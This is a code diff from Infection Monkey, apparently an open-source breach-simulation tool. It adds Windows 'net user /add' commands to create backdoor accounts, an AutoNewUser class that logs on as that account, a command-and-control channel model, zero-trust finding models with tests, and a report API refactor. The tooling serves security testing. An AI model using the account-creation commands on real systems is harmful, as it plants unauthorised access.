+        os.mkdir(get_monkey_dir_path())
+
+
+def remove_monkey_dir():
+    """
+    Removes monkey's root directory
+    :return True if removed without errors and False otherwise
+    """
+    try:
+        shutil.rmtree(get_monkey_dir_path())
+        return True
+    except Exception:
+        return False
+
+
+def get_monkey_dir_path():
+    return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py
new file mode 100644
index 000000000..ad80bc73d
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_log_path.py
@@ -0,0 +1,14 @@
+import os
+import sys
+
+from infection_monkey.config import WormConfiguration
+
+
+def get_monkey_log_path():
+    return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
+        else WormConfiguration.monkey_log_path_linux
+
+
+def get_dropper_log_path():
+    return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
+        else WormConfiguration.dropper_log_path_linux
diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py
new file mode 100644
index 000000000..68148d9e9
--- /dev/null
+++ b/monkey/infection_monkey/utils/users.py
@@ -0,0 +1,10 @@
+from infection_monkey.utils.linux.users import get_linux_commands_to_add_user
+from infection_monkey.utils.windows.users import get_windows_commands_to_add_user
+
+
+def get_commands_to_add_user(username, password):
+    linux_cmds = get_linux_commands_to_add_user(username)
+    windows_cmds = get_windows_commands_to_add_user(username, password)
+    return linux_cmds, windows_cmds
+
+
diff --git a/monkey/infection_monkey/utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/windows/auto_new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py
new file mode 100644
index 000000000..d95ac0bf0
--- /dev/null
+++ b/monkey/infection_monkey/utils/windows/auto_new_user.py
@@ -0,0 +1,69 @@
+import logging
+import subprocess
+
+from infection_monkey.post_breach.actions.add_user import BackdoorUser
+from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user
+
+logger = logging.getLogger(__name__)
+
+
+class NewUserError(Exception):
+    pass
+
+
+class AutoNewUser(object):
+    """
+    RAII object to use for creating and using a new user in Windows. Use with `with`.
+    User will be created when the instance is instantiated.
+    User will log on at the start of the `with` scope.
+    User will log off and get deleted at the end of said `with` scope.
+
+    Example:
+             # Created                           # Logged on
+        with AutoNewUser("user", "pass") as new_user:
+            ...
+            ...
+        # Logged off and deleted
+        ...
+    """
+    def __init__(self, username, password):
+        """
+        Creates a user with the username + password.
+        :raises: subprocess.CalledProcessError if failed to add the user.
+        """
+        self.username = username
+        self.password = password
+
+        windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
+        _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
+
+    def __enter__(self):
+        # Importing these only on windows, as they won't exist on linux.
+        import win32security
+        import win32con
+
+        try:
+            # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+            self.logon_handle = win32security.LogonUser(
+                self.username,
+                ".",  # Use current domain.
+                self.password,
+                win32con.LOGON32_LOGON_INTERACTIVE,  # Logon type - interactive (normal user).
+                win32con.LOGON32_PROVIDER_DEFAULT)  # Which logon provider to use - whatever Windows offers.
+        except Exception as err:
+            raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
+        return self
+
+    def get_logon_handle(self):
+        return self.logon_handle
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        # Logoff
+        self.logon_handle.Close()
+
+        # Try to delete user
+        try:
+            _ = subprocess.Popen(
+                get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
+        except Exception as err:
+            raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py
new file mode 100644
index 000000000..0e6847cff
--- /dev/null
+++ b/monkey/infection_monkey/utils/windows/users.py
@@ -0,0 +1,18 @@
+def get_windows_commands_to_add_user(username, password, should_be_active=False):
+    windows_cmds = [
+        'net',
+        'user',
+        username,
+        password,
+        '/add']
+    if not should_be_active:
+        windows_cmds.append('/ACTIVE:NO')
+    return windows_cmds
+
+
+def get_windows_commands_to_delete_user(username):
+    return [
+        'net',
+        'user',
+        username,
+        '/delete']
diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
index a79d38490..af904b143 100644
--- a/monkey/infection_monkey/windows_upgrader.py
+++ b/monkey/infection_monkey/windows_upgrader.py
@@ -8,9 +8,9 @@ import time
 import infection_monkey.monkeyfs as monkeyfs
 from infection_monkey.config import WormConfiguration
 from infection_monkey.control import ControlClient
-from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
 from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
-from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
+from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python
 
 __author__ = 'itay.mizeretz'
 
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index c6ad585df..347138a58 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -23,7 +23,7 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload
 from monkey_island.cc.resources.netmap import NetMap
 from monkey_island.cc.resources.node import Node
 from monkey_island.cc.resources.remote_run import RemoteRun
-from monkey_island.cc.resources.report import Report
+from monkey_island.cc.resources.reporting.report import Report
 from monkey_island.cc.resources.root import Root
 from monkey_island.cc.resources.telemetry import Telemetry
 from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
@@ -122,7 +122,13 @@ def init_api_resources(api):
     api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
     api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
     api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
-    api.add_resource(Report, '/api/report', '/api/report/')
+
+    # report_type: zero_trust or security
+    api.add_resource(
+        Report,
+        '/api/report/<string:report_type>',
+        '/api/report/<string:report_type>/<string:report_data>')
+
     api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
     api.add_resource(Log, '/api/log', '/api/log/')
     api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py
index 286e442dd..087c3a2e3 100644
--- a/monkey/monkey_island/cc/environment/testing.py
+++ b/monkey/monkey_island/cc/environment/testing.py
@@ -1,5 +1,4 @@
 from monkey_island.cc.environment import Environment
-import monkey_island.cc.auth
 
 
 class TestingEnvironment(Environment):
@@ -7,11 +6,5 @@ class TestingEnvironment(Environment):
         super(TestingEnvironment, self).__init__()
         self.testing = True
 
-    # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
-    NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
-                    '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
-
     def get_auth_users(self):
-        return [
-            monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS)
-        ]
+        return []
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index d23d57411..2b2193af6 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -19,7 +19,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
 logger = logging.getLogger(__name__)
 
 from monkey_island.cc.app import init_app
-from monkey_island.cc.exporter_init import populate_exporter_list
+from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
 from monkey_island.cc.utils import local_ip_addresses
 from monkey_island.cc.environment.environment import env
 from monkey_island.cc.database import is_db_server_up, get_db_version
diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py
index 105866937..58e950914 100644
--- a/monkey/monkey_island/cc/models/__init__.py
+++ b/monkey/monkey_island/cc/models/__init__.py
@@ -12,8 +12,9 @@ else:
     connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
 
 # Order of importing matters here, for registering the embedded and referenced documents before using them.
-from .config import Config
-from .creds import Creds
-from .monkey_ttl import MonkeyTtl
-from .pba_results import PbaResults
-from .monkey import Monkey
+from config import Config
+from creds import Creds
+from monkey_ttl import MonkeyTtl
+from pba_results import PbaResults
+from command_control_channel import CommandControlChannel
+from monkey import Monkey
diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py
new file mode 100644
index 000000000..3aefef455
--- /dev/null
+++ b/monkey/monkey_island/cc/models/command_control_channel.py
@@ -0,0 +1,11 @@
+from mongoengine import EmbeddedDocument, StringField
+
+
+class CommandControlChannel(EmbeddedDocument):
+    """
+    This value describes command and control channel monkey used in communication
+    src - Monkey Island's IP
+    dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
+    """
+    src = StringField()
+    dst = StringField()
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index f1bd12905..c0eeb20b3 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded
 
 from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
 from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
+from monkey_island.cc.models.command_control_channel import CommandControlChannel
 
 
 class Monkey(Document):
@@ -36,6 +37,9 @@ class Monkey(Document):
     pba_results = ListField()
     ttl_ref = ReferenceField(MonkeyTtl)
     tunnel = ReferenceField("self")
+    command_control_channel = EmbeddedDocumentField(CommandControlChannel)
+    aws_instance_id = StringField(required=False)  # This field only exists when the monkey is running on an AWS
+    # instance. See https://github.com/guardicore/monkey/issues/426.
 
     # LOGIC
     @staticmethod
@@ -80,6 +84,17 @@ class Monkey(Document):
             os = "windows"
         return os
 
+    def get_network_info(self):
+        """
+        Formats network info from monkey's model
+        :return: dictionary with an array of IP's and a hostname
+        """
+        return {'ips': self.ip_addresses, 'hostname': self.hostname}
+
+    @staticmethod
+    def get_tunneled_monkeys():
+        return Monkey.objects(tunnel__exists=True)
+
     def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
         self.ttl_ref = create_monkey_ttl_document(duration)
         self.save()
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py
similarity index 65%
rename from monkey/monkey_island/cc/models/test_monkey.py
rename to monkey/monkey_island/cc/models/monkey_test.py
index 37a71cfef..6115386ea 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/monkey_test.py
@@ -1,19 +1,19 @@
 import uuid
 from time import sleep
 
-from .monkey import Monkey
+from monkey import Monkey
 from monkey_island.cc.models.monkey import MonkeyNotFoundError
 from monkey_island.cc.testing.IslandTestCase import IslandTestCase
-from .monkey_ttl import MonkeyTtl
+from monkey_ttl import MonkeyTtl
 
 
 class TestMonkey(IslandTestCase):
     """
-    Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
+    Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
     won't work.
 
     Also, the working directory needs to be the working directory from which you usually run the island so the
-    server.json file is found and loaded.
+    server_config.json file is found and loaded.
     """
 
     def test_is_dead(self):
@@ -87,6 +87,28 @@ class TestMonkey(IslandTestCase):
         windows_monkey.save()
         unknown_monkey.save()
 
-        self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
-        self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
-        self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
+        self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
+        self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
+        self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
+
+    def test_get_tunneled_monkeys(self):
+        self.fail_if_not_testing_env()
+        self.clean_monkey_db()
+
+        linux_monkey = Monkey(guid=str(uuid.uuid4()),
+                              description="Linux shay-Virtual-Machine")
+        windows_monkey = Monkey(guid=str(uuid.uuid4()),
+                                description="Windows bla bla bla",
+                                tunnel=linux_monkey)
+        unknown_monkey = Monkey(guid=str(uuid.uuid4()),
+                                description="bla bla bla",
+                                tunnel=windows_monkey)
+        linux_monkey.save()
+        windows_monkey.save()
+        unknown_monkey.save()
+        tunneled_monkeys = Monkey.get_tunneled_monkeys()
+        test = bool(windows_monkey in tunneled_monkeys
+                    and unknown_monkey in tunneled_monkeys
+                    and linux_monkey not in tunneled_monkeys
+                    and len(tunneled_monkeys) == 2)
+        self.assertTrue(test, "Tunneling test")
diff --git a/monkey/monkey_island/cc/models/zero_trust/__init__.py b/monkey/monkey_island/cc/models/zero_trust/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
new file mode 100644
index 000000000..c3ed52649
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
@@ -0,0 +1,32 @@
+from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class AggregateFinding(Finding):
+    @staticmethod
+    def create_or_add_to_existing(test, status, events):
+        """
+        Create a new finding or add the events to an existing one if it's the same (same meaning same status and same
+        test).
+
+        :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
+        when this function should be used.
+        """
+        existing_findings = Finding.objects(test=test, status=status)
+        assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
+
+        if len(existing_findings) == 0:
+            Finding.save_finding(test, status, events)
+        else:
+            # Now we know for sure this is the only one
+            orig_finding = existing_findings[0]
+            orig_finding.add_events(events)
+            orig_finding.save()
+
+
+def add_malicious_activity_to_timeline(events):
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
+        status=STATUS_VERIFY,
+        events=events
+    )
diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py
new file mode 100644
index 000000000..6ad728d66
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/event.py
@@ -0,0 +1,36 @@
+from datetime import datetime
+
+from mongoengine import EmbeddedDocument, DateTimeField, StringField
+
+from common.data.zero_trust_consts import EVENT_TYPES
+
+
+class Event(EmbeddedDocument):
+    """
+    This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to
+    hold a detail of the Finding.
+
+    This class has 2 main section:
+        *   The schema section defines the DB fields in the document. This is the data of the object.
+        *   The logic section defines complex questions we can ask about a single document which are asked multiple
+            times, or complex action we will perform - somewhat like an API.
+    """
+    # SCHEMA
+    timestamp = DateTimeField(required=True)
+    title = StringField(required=True)
+    message = StringField()
+    event_type = StringField(required=True, choices=EVENT_TYPES)
+
+    # LOGIC
+    @staticmethod
+    def create_event(title, message, event_type, timestamp=datetime.now()):
+        event = Event(
+            timestamp=timestamp,
+            title=title,
+            message=message,
+            event_type=event_type
+        )
+
+        event.validate(clean=True)
+
+        return event
diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py
new file mode 100644
index 000000000..df4eb12f7
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/finding.py
@@ -0,0 +1,60 @@
+# coding=utf-8
+"""
+Define a Document Schema for Zero Trust findings.
+"""
+
+from mongoengine import Document, StringField, EmbeddedDocumentListField
+
+from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY
+# Dummy import for mongoengine.
+# noinspection PyUnresolvedReferences
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+class Finding(Document):
+    """
+    This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a
+    specific principle of zero trust is upheld or broken.
+
+    Findings might have the following statuses:
+        Failed ❌
+            Meaning that we are sure that something is wrong (example: segmentation issue).
+        Verify ⁉
+            Meaning that we need the user to check something himself (example: 2FA logs, AV missing).
+        Passed ✔
+            Meaning that we are sure that something is correct (example: Monkey failed exploiting).
+
+    This class has 2 main section:
+        *   The schema section defines the DB fields in the document. This is the data of the object.
+        *   The logic section defines complex questions we can ask about a single document which are asked multiple
+            times, or complex action we will perform - somewhat like an API.
+    """
+    # SCHEMA
+    test = StringField(required=True, choices=TESTS)
+    status = StringField(required=True, choices=ORDERED_TEST_STATUSES)
+    events = EmbeddedDocumentListField(document_type=Event)
+    # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
+    meta = {'allow_inheritance': True}
+
+    # LOGIC
+    def get_test_explanation(self):
+        return TESTS_MAP[self.test][TEST_EXPLANATION_KEY]
+
+    def get_pillars(self):
+        return TESTS_MAP[self.test][PILLARS_KEY]
+
+    # Creation methods
+    @staticmethod
+    def save_finding(test, status, events):
+        finding = Finding(
+            test=test,
+            status=status,
+            events=events)
+
+        finding.save()
+
+        return finding
+
+    def add_events(self, events):
+        # type: (list) -> None
+        self.events.extend(events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py
new file mode 100644
index 000000000..32a450f57
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py
@@ -0,0 +1,50 @@
+from mongoengine import StringField
+
+from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+def need_to_overwrite_status(saved_status, new_status):
+    return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED)
+
+
+class SegmentationFinding(Finding):
+    first_subnet = StringField()
+    second_subnet = StringField()
+
+    @staticmethod
+    def create_or_add_to_existing_finding(subnets, status, segmentation_event):
+        """
+        Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the
+        event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will
+        remain so).   
+
+        :param subnets: the 2 subnets of this finding.
+        :param status: STATUS_PASSED or STATUS_FAILED
+        :param segmentation_event: The specific event
+        """
+        assert len(subnets) == 2
+
+        # Sort them so A -> B and B -> A segmentation findings will be the same one.
+        subnets.sort()
+
+        existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1])
+
+        if len(existing_findings) == 0:
+            # No finding exists - create.
+            new_finding = SegmentationFinding(
+                first_subnet=subnets[0],
+                second_subnet=subnets[1],
+                test=TEST_SEGMENTATION,
+                status=status,
+                events=[segmentation_event]
+            )
+            new_finding.save()
+        else:
+            # A finding exists (should be one). Add the event to it.
+            assert len(existing_findings) == 1
+            existing_finding = existing_findings[0]
+            existing_finding.events.append(segmentation_event)
+            if need_to_overwrite_status(existing_finding.status, status):
+                existing_finding.status = status
+            existing_finding.save()
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
new file mode 100644
index 000000000..c1a94166f
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -0,0 +1,53 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestAggregateFinding(IslandTestCase):
+    def test_create_or_add_to_existing(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+        status = STATUS_VERIFY
+        events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+        AggregateFinding.create_or_add_to_existing(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+        AggregateFinding.create_or_add_to_existing(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+    def test_create_or_add_to_existing_2_tests_already_exist(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+        status = STATUS_VERIFY
+        event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
+        events = [event]
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+        Finding.save_finding(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+        AggregateFinding.create_or_add_to_existing(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+        self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+        Finding.save_finding(test, status, events)
+
+        self.assertEquals(len(Finding.objects(test=test, status=status)), 2)
+
+        with self.assertRaises(AssertionError):
+            AggregateFinding.create_or_add_to_existing(test, status, events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py
new file mode 100644
index 000000000..c0742407d
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py
@@ -0,0 +1,32 @@
+from mongoengine import ValidationError
+
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestEvent(IslandTestCase):
+    def test_create_event(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        with self.assertRaises(ValidationError):
+            _ = Event.create_event(
+                title=None,  # title required
+                message="bla bla",
+                event_type=EVENT_TYPE_MONKEY_NETWORK
+            )
+
+        with self.assertRaises(ValidationError):
+            _ = Event.create_event(
+                title="skjs",
+                message="bla bla",
+                event_type="Unknown"  # Unknown event type
+            )
+
+        # Assert that nothing is raised.
+        _ = Event.create_event(
+            title="skjs",
+            message="bla bla",
+            event_type=EVENT_TYPE_MONKEY_NETWORK
+        )
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
new file mode 100644
index 000000000..88a33d5d3
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -0,0 +1,38 @@
+from mongoengine import ValidationError
+
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestFinding(IslandTestCase):
+    """
+    Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
+    won't work.
+
+    Also, the working directory needs to be the working directory from which you usually run the island so the
+    server.json file is found and loaded.
+    """
+    def test_save_finding_validation(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        with self.assertRaises(ValidationError):
+            _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[])
+
+        with self.assertRaises(ValidationError):
+            _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[])
+
+    def test_save_finding_sanity(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+
+        event_example = Event.create_event(
+            title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
+        Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
+
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
+        self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
new file mode 100644
index 000000000..80e564a17
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
@@ -0,0 +1,52 @@
+from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+
+
+class TestSegmentationFinding(IslandTestCase):
+    def test_create_or_add_to_existing_finding(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        first_segment = "1.1.1.0/24"
+        second_segment = "2.2.2.0-2.2.2.254"
+        third_segment = "3.3.3.3"
+        event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK)
+
+        SegmentationFinding.create_or_add_to_existing_finding(
+            subnets=[first_segment, second_segment],
+            status=STATUS_FAILED,
+            segmentation_event=event
+        )
+
+        self.assertEquals(len(SegmentationFinding.objects()), 1)
+        self.assertEquals(len(SegmentationFinding.objects()[0].events), 1)
+
+        SegmentationFinding.create_or_add_to_existing_finding(
+            # !!! REVERSE ORDER
+            subnets=[second_segment, first_segment],
+            status=STATUS_FAILED,
+            segmentation_event=event
+        )
+
+        self.assertEquals(len(SegmentationFinding.objects()), 1)
+        self.assertEquals(len(SegmentationFinding.objects()[0].events), 2)
+
+        SegmentationFinding.create_or_add_to_existing_finding(
+            # !!! REVERSE ORDER
+            subnets=[first_segment, third_segment],
+            status=STATUS_FAILED,
+            segmentation_event=event
+        )
+
+        self.assertEquals(len(SegmentationFinding.objects()), 2)
+
+        SegmentationFinding.create_or_add_to_existing_finding(
+            # !!! REVERSE ORDER
+            subnets=[second_segment, third_segment],
+            status=STATUS_FAILED,
+            segmentation_event=event
+        )
+
+        self.assertEquals(len(SegmentationFinding.objects()), 3)
diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py
deleted file mode 100644
index 62a014fef..000000000
--- a/monkey/monkey_island/cc/resources/report.py
+++ /dev/null
@@ -1,13 +0,0 @@
-import flask_restful
-
-from monkey_island.cc.auth import jwt_required
-from monkey_island.cc.services.report import ReportService
-
-__author__ = "itay.mizeretz"
-
-
-class Report(flask_restful.Resource):
-
-    @jwt_required()
-    def get(self):
-        return ReportService.get_report()
diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
new file mode 100644
index 000000000..8c5286fee
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -0,0 +1,41 @@
+import httplib
+
+
+import flask_restful
+from flask import jsonify
+
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.services.reporting.report import ReportService
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
+
+ZERO_TRUST_REPORT_TYPE = "zero_trust"
+SECURITY_REPORT_TYPE = "security"
+REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE]
+
+REPORT_DATA_PILLARS = "pillars"
+REPORT_DATA_FINDINGS = "findings"
+REPORT_DATA_PRINCIPLES_STATUS = "principles"
+
+__author__ = ["itay.mizeretz", "shay.nehmad"]
+
+
+class Report(flask_restful.Resource):
+
+    @jwt_required()
+    def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None):
+        if report_type == SECURITY_REPORT_TYPE:
+            return ReportService.get_report()
+        elif report_type == ZERO_TRUST_REPORT_TYPE:
+            if report_data == REPORT_DATA_PILLARS:
+                return jsonify({
+                        "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
+                        "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
+                        "grades": ZeroTrustService.get_pillars_grades()
+                    }
+                )
+            elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
+                return jsonify(ZeroTrustService.get_principles_status())
+            elif report_data == REPORT_DATA_FINDINGS:
+                return jsonify(ZeroTrustService.get_all_findings())
+
+        flask_restful.abort(httplib.NOT_FOUND)
diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py
index 2af73a45e..e3b3e9854 100644
--- a/monkey/monkey_island/cc/resources/root.py
+++ b/monkey/monkey_island/cc/resources/root.py
@@ -7,7 +7,7 @@ from flask import request, make_response, jsonify
 from monkey_island.cc.auth import jwt_required
 from monkey_island.cc.database import mongo
 from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.report import ReportService
+from monkey_island.cc.services.reporting.report import ReportService
 from monkey_island.cc.services.attack.attack_report import AttackReportService
 from monkey_island.cc.utils import local_ip_addresses
 from monkey_island.cc.services.database import Database
diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py
